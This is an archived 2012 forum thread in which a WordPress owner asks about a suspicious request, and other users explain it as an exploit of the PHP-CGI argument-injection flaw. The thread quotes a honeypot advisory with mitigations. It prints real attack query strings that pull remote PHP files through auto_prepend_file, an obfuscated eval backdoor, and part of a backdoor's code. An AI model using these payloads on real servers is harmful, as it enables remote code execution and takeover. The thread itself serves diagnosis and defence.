...

View Full Version : What's that? Did somebody try to hack my site?



utnalove
07-26-2012, 10:37 AM
Hello, I have a wordpress blog and a plugin that find the referral URL, that shows the originating URL and the URL people are surfing.

I have found something strange. Somebody was "surfing" this site:


http://myblog.com/?-n+-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp://btslbl.com/ubica.txt+

The txt of that URL shows:

<?php $d=@$_POST[chr(100)]; $s=substr(2,1); for($i=0;$i<strlen($d);$i=$i+3) { $s.=chr(substr($d,$i,3)-15); } if($s) { eval($s); } exit; ?>

What's that? Did they just try to hack me? Or they did something?
What does this code do?

tangoforce
07-26-2012, 10:49 AM
No idea but it does look sinister. That url could perhaps be an attempt to exploit a weakness in the webserver or something.

Again I don't know for sure so you might want to look into using some sort of security measures such as blacklisting.

DrDOS
07-26-2012, 03:50 PM
People are trying to hack my home server all the time, using bots that just ping random IPs. So I made a phony phpMyAdmin folder and a joke setup page for them to access. Joke's on them.

Rowsdower!
07-26-2012, 04:31 PM
It looks like an attempt to exploit a CGI file. Check out this link:

http://blog.spiderlabs.com/2012/05/honeypot-alert-active-exploit-attempts-for-php-cgi-vuln.html

Out of curiosity, are you hosted by DreamHost?


Re-post of the content from my link, for posterity:

07 May 2012

[Honeypot Alert] (UPDATE) Active Exploit Attempts for PHP-CGI Vuln

UPDATE - we have received more exploit attempt details from web hosting provider DreamHost. Thanks goes to Robert Rowley for data sharing. Details below.

As you may have heard, some security researchers recently released information outlining (http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/) a long standing vulnerability within the PHP-CGI code. The short of it is that remote attackers may be able to pass command line arguments in a query_string that will be passed directly to the PHP-CGI program. Ouch...

Exploit Attempts

Our web honeypots caught the following exploit attempts today:


37.112.127.136 - - [07/May/2012:02:36:11 +0400] "GET /?-s+%3d HTTP/1.1" 200 38 "-" "-"
37.112.127.136 - - [07/May/2012:02:36:12 +0400] "GET /?-d+auto_prepend_file=http://r00texp.narod2.ru/ows.txt HTTP/1.1" 200 38 "-" "-"
91.210.189.171 - - [07/May/2012:04:46:12 +0400] "GET /?-s HTTP/1.0" 200 6085 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
94.242.199.77 - - [07/May/2012:05:01:17 +0400] "GET /?-s HTTP/1.0" 200 6085 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
37.112.127.136 - - [07/May/2012:12:08:01 +0400] "GET /?-d+auto_prepend_file=http://r00texp.narod2.ru/ows.txt HTTP/1.0" 200 753 "-" "-"
37.112.127.136 - - [07/May/2012:12:08:01 +0400] "GET /?-s+%3d HTTP/1.0" 200 753 "-" "-"

Notice that while some of these are simply probes to see if the application might be vulnerable, there are also two RFI (http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion) attempts to execute remote PHP code.

(UPDATE) DreamHost Exploit Attempt Details

DreamHost security provided SpiderLabs Research team with ModSecurity alert logs related to PHP-CGI Exploit attempts. These logs provide a much wider view of attack scale as DreamHost hosts more than 1,000,000 domains. Here are some stats:


Number of PHP-CGI Exploit Attempts: 234,076
Number of unique domains targeted: 151,275

Here are the top 10 attack vectors seen (with the # of attacks shown in the first column:


198489 'GET /index.php?-s'
7837 'GET /blog/index.php?-s'
6078 'GET /index.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://www.5999mu.com/a.txt'
2075 'GET /index.php?-s/wp-admin/install.php'
1790 'GET /wordpress/index.php?-s'
1605 'GET /wp/index.php?-s'
862 'POST /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3d%2Fproc%2Fself%2Fenviron'
670 'GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2Fphp-cgi.ipq.co%2Fi'
534 'POST /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dphp:%2f%2finput'
422 'GET /index.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://www.qz0451.com/1.txt'

Goal - Webshells/Backdoors

One of the major goals of these attacks are to try and download/install webshells and backdoors. Let's look at one example shown above:


GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2Fphp-cgi.ipq.co%2Fi

The remote RFI file is a PHP backdoor program (http://php-cgi.ipq.co/i). One of the more interesting aspects of this code is the following section of code where the attacker wants to prevent others from exploiting the same vulnerability:


if($backdoored > 0)
{
echo chr(10)."{$backdoored} BACKDOOR_INSTALLED".chr(10);

$htaccess = getcwd() . "/.htaccess";
$htaccess_body = @file_get_contents($htaccess);

$fp = fopen(".htaccess", "w+");
if($fp)
{
fwrite($fp,

'<IfModule mod_rewrite.c>'.chr(10).
'RewriteEngine On'.chr(10).
'RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]'.chr(10).
'RewriteRule ^(.*) $1? [L]'.chr(10).
'</IfModule>'.

str_repeat(chr(10), 5).
$htaccess_body
);

fclose($fp);
}
else
{
echo ".htaccess bugfix error!" . chr(10);
}
}

The highlighted mod_rewrite rules will be added to .htaccess files as a crude method of patching the PHP-CGI vuln to prevent someone else from exploiting the same issue. The RewriteCond line will inspect the query_string to see if it starts with the dash character (-) and is not followed by the equal sign character (=). If this is true, meaning someone is attempting to exploit the vuln, then the final RewriteRule will capture the full REQUEST_URI will then add a question mark character (?) to the end and instruct mod_rewrite to treat the request as a symlink ([L]). Using mod_rewrite in this way should cause future attack to fail.

Mitigations

Due to the fact that attackers are actively probing for this vulnerability combined with PHP code fixes that may not be complete (http://www.php-security.net/archives/2012/05.html), you should consider deploying some security filters in the interim. There have been public posts outlining possible filters using mod_rewrite such as the following:


RewriteEngine on
RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|\- [NC]
RewriteRule .? - [F,L]

This roughly translates to: if the query_string does not have an equal sign (=) and it does have a dash (-) then issue a Forbidden response. The problem with this filter is that it would not catch the RFI examples we captured with the web honeypots as they have an = sign when declaring the PHP "auto_prepend_file" function.

Trustwave SpiderLabs has developed the following ModSecurity rule that will catch all currently known exploit attempts:


SecRule QUERY_STRING "^-[sdcr]" "phase:1,t:none,t:urlDecodeUni,t:removeWhitespace,block,log,msg:'Potential PHP-CGI Exploit Attempt'"

This rule will check for the four most common PHP command line arguments coming directly after the question mark (?) character to start the query_string. It will apply a URL decode and remove whitespace characters.

utnalove
07-26-2012, 04:52 PM
thank you! I am not on Dreamhost. The whole content of the server is a Wordpress blog.
Should I worry about this attack?

Fou-Lu
07-26-2012, 04:56 PM
thank you! I am not on Dreamhost. The whole content of the server is a Wordpress blog.
Should I worry about this attack?

I love this one.
Run a simple phpinfo() and look for the sapi, or run a simple print php_sapi_name();. If its says CGI then you'll want to follow the documentation for the .htaccess modifications. The above exploit should not be applicable in a module build.

Rowsdower!
07-26-2012, 05:07 PM
thank you! I am not on Dreamhost. The whole content of the server is a Wordpress blog.
Should I worry about this attack?

Yeah, sorry but I'm no security expert by any stretch of the imagination. At the very least, it sounds like the attack is random (not targeted at you, specifically).


I love this one.
Run a simple phpinfo() and look for the sapi, or run a simple print php_sapi_name();. If its says CGI then you'll want to follow the documentation for the .htaccess modifications. The above exploit should not be applicable in a module build.

Just curious, though...if you DO have CGI shown in phpinfo() but you don't have any CGI files in your file tree...are you still vulnerable to this exploit? Or does it only work if you have CGI files in your website's folder? :confused:


From further reading, it appears as though vulnerability exists irrespective of the absence or presence of any CGI files on your server. It's all about whether or not CGI is enabled.

Also of interest is that FastCGI is apparently NOT vulnerable to this exploit (see "executive summary" section here (http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/)). If, using Fou-Lu's suggestion of print php_sapi_name(); the result you see if "cgi-fcgi" then maybe you're fine? (Am I reading this correctly?)

Otherwise, if your CGI name is something else then you probably need to get cracking on an .htaccess fix.

Fou-Lu
07-26-2012, 07:05 PM
I'll try to read over the whole article when I get a chance. If it says its only the cgi and not fast cgi, then I'd expect a sapi of cgi-fcgi would be fine (if they have some exploit examples, I'd suggest trying a quick run through it as well to see if it reflects the same behaviour on the fastcgi as on cgi).

utnalove
07-27-2012, 05:59 PM
Hi, in the phpinfo the word CGI doesn't appear anywhere.
The print of php_sapi_name is litespeed.



EZ Archive Ads Plugin for vBulletin Copyright 2006 Computer Help Forum